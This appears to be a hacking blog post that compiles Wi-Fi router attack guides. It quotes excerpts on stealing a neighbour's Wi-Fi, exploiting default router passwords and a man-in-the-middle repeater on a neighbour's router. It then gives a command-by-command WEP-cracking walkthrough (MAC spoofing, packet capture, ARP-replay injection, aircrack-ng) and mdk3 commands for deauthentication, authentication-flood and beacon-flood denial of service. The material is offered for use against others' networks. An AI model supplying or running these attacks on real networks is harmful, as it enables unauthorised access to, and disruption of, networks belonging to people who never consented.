Related articles :

• How to Crack a Wi-Fi Network’s WEP Password with BackTrack [Wi-Fi] (lifehacker.com)
• How do I secure my home Wi-fi network? (cnn.com)
• Wireless Lan Security (slideshare.net)

Hacking wifi router might already sound familiar to you guys , especially if you’ve already read my previous post about Router bruteforce. Or you can also check the most complete Router default passwords list to begin hacking wifi router 2009. In this post I will review some excerpts from other blogs related to wifi router hacking how to experiences.  This post contains various experiences in hacking wifi router 2009 , hacking wireless router, steal wifi,hack wifi , hacking secure wireless router , and so on.

The first experience is written by Paul Boutin , He describes how to steal his neighbour’s Wi-fi , and here’s the short excerpt from the blog :

If you want to find a Wi-Fi network, don’t start by looking on the sidewalk for chalk marks. “Warchalking,” a technique for writing symbols in public places to alert neighbors to nearby wireless access points, is a cool concept that’s been undermined by the fact that no one has ever used it. The best method to find some free wireless is to treat your laptop like a cell phone. Since Wi-Fi and cell phone signals travel on a similar radio frequency, the same tricks you use for getting a better phone connection might work on your computer. Sit near a window, since Wi-Fi signals travel better through glass than through solid walls. Stay away from metal objects. Pay close attention to your laptop’s orientation—rotating your machine just a few degrees could help you pick up a network that you couldn’t see before. Raise your laptop over your head, put it flat on the floor, tilt it sideways while leaning halfway out the window—get out the divining rod if you have to. You might get a reputation for being some sick laptop yoga freak, but isn’t free Internet worth it?
Read the rest on http://www.slate.com/id/2109941/

The second experience is published on George gardner , here’s the excerpt :

My wireless network was powered by a Linksys WRT54G v6 wireless router; It is well known that this model is the most widely used wireless router. Out of the box, the Linksys router came with 1 CD which was nothing more than a visual step by step, what you should do to connect it.

A few things concern me with this router. There was no part in the setup that allowed me, or even told me to change my router’s default password. To change the password, I had to go into the router’s web-based setup utility; this was accessible via the IP address 192.168.1.1 in my Internet browser. The default username and password was admin. If someone was able to compromise the security on my network, they could have easily done this for me; and locked me out of my own network. Sure, I could have performed a hard reset on the router, but I’d have little luck without the Internet or any documentation to help.

If you’re looking to find your default username and password, there is quite a comprehensive list located at www.phenoelit.de My advice is to change this immediately, for it may save you some trouble down the road.

Being my first time, I decided to go easy; I set my router up with a basic WEP 64 encryption; it required a 10 digit hex key. I entered the key into the 2 other computers in my home, and I was ready to start. Read the rest on http://tech.blorge.com/Structure:%20/2007/02/06/i-hacked-my-wireless-network/

And the last experience is a how to from Hack-a-day blog , which is titled greyhat wifi repeater :

This how-to gives the steps needed to put together a simple man-in-the-middle wireless repeater. You can use this to hang your wired network off of someone else’s wireless router and serve their wireless connection back to them. Do not do this. It here as a silly geek trick and will probably just annoy you every time your connection goes down because you’re too cheap to pay for a good wired connection.

This involves three wireless routers:

Your neighbor is in possession of router A. It is set to factory defaults initially. This is important because it shows the victim isn’t technically savvy and won’t notice your intrusion. You have router B, a Linksys WRT54G that you will be putting into client mode and connecting to router A. The final component, router C, is plugged into router B and acts as a wireless access point.
Read the rest on http://hackaday.com/2005/08/23/how-to-greyhat-wifi-repeater/

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• How to Secure your Wireless Home Network
• Do You Still Rely on Free WiFi?
• Do Wi-Fi Range Extenders Work?

Wireless Hacking with backtrack 3 is easy to do , in this article I’d like to guide you in Wireless hacking with backtrack 3. This tutorial is made based on some requests by my subscribers , they’ve been familiar enough with Backtrack 3 , that’s why I made this Wireless Hacking with backtrack 3 tutorial. In order to start the wireless hacking , you need to make sure that you have met these requirements :

- Backtrack 3 new release

- 1 wireless router

- Laptop with wireless card

And let the hack begins :

In order to crack a WEP key you must have a large number of encrypted packets to work with. This is an unavoidable requirement if you wish to be successful. The best way to get a large number of packets is to perform an ARP request re injection attack (otherwise known as attack -3). In order to do this attack and get results there must be a client already authenticated with the AP, aor connecting to the AP.

***********************************************************************
Here are some things you need to know before you get confused
When you see this (device) or (bssid) you DON’T put the ( )!!!
(device) = Your wireless card *can be seen by typing in iwconfig EG: eth0, eth1, ath0, ath1
(bssid) = This is the consenting computers bssid *when you start airodump-ng if there is a AP in range it will show up on the left side will look similar to 00:11:22:33:44:55
************************************************************************

Now before we start we need to make a txt file in the home folder. On the desktop you will see 2 icons home and system. Double click the home icon, rigt click the blank white area and select create new Txt File name it Exidous or what ever you want! click ok, now close the window.

Ok let’s start!
Commands | Meaning
====================

*open up 3 shell konsoles by clicking the little black box next to the start button.

* The first thing were going to do is stop the device aka ethernet card
airmon-ng stop ath0

* Now were going to put the wireless card down, so we can fake a mac adress (to see available wireless cards type, iwconfig
ifconfig (device) down

* Ok now just to make things simpler, so we don’t have to hunt down what our Mac address is
macchanger –mac 00:11:22:33:44:55 (device)

* Now were going to start the wireless card *make it listen for AP’s
airmon-ng start (device)

* Lets start seeing what AP’s are there
airodump-ng (device)

* After you see all the AP’s execute the following command to stop it and copy the bssid
CTRL+C Copy bssid of consenting computer

* Now on to the consenting computer’s AP (were listening in for authentication packets
airodump-ng -c 6 -w Exidous –bssid (Bssid) (device)

* Lets get on with making more Data, and start the injection process
aireplay-ng -l 0 -a (bssid) -h 00:11:22:33:44:55 (device)

* Now were going to inject the router ***this sometimes takes a while to actually inject!
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (device)

* On to cracking the key, ***AFTER GETTING AT LEAST 5,000 Data/IV’s for 64 bit encryption / AFTER GETTING AT LEAST 10,000 Data/IV’s for 128 bit encryption
aircrack-ng -n 64 –bssid (bssid) Exidous-01.cap

* Once you crack the wep key you wright it down, and reboot to windows. Now put it in the username and the password with out the :
EG: Wep Key = 33:C7:C6:09:30
When Entered into username and password it will look like this. 33C7C60930
more informations : http://www.blackhat-forums.com/index.php?showforum=30

Related articles :

• WPA wireless encryption cracked
• Once thought safe, WPA Wi-Fi encryption is cracked
• Once thought safe, WPA Wi-Fi encryption is cracked

Ok,I’m quite sure that you guys have been playing around on some Backtrack 3 tools to start Cracking Wireless Access Point or Cracking WEP. By using Backtrack 3 , you’ll find a lot of tools related to Wireless Hacking or Wifi Hacking (to be more specific). And If you’ve been familiar with backtrack 3 wireless hacking tool , you must know the tool called Mdk3 ! What does Mdk3 actually do ? In this mdk3 tutorial article , I’ll be giving you a short preview and better understanding about mdk3.

Here’s what mdk3 actually does :

1. It can deauthenticate clients from all nearby or a selected Access Point thus providing a denial of service
2. It can flood the nearby APs with authentication requests. This can lead to a situation where some APs will need to be restarted or the become full and will not accept any new users
3. It can create a beacon flood of fake APs specifying some ssid or generating random ssid names
4. the legitimate clients that were booted from their APs in step 1 will have a lot of problems reconnecting

Here’s the command to run mkd3 from your backtrack 3 distro :
mdk3 eth0 d # deauthentication attack
mdk3 eth0 a -a # authentication flood
mdk3 eth0 b -n MyEssid -w -c 11 # beacon flood mode

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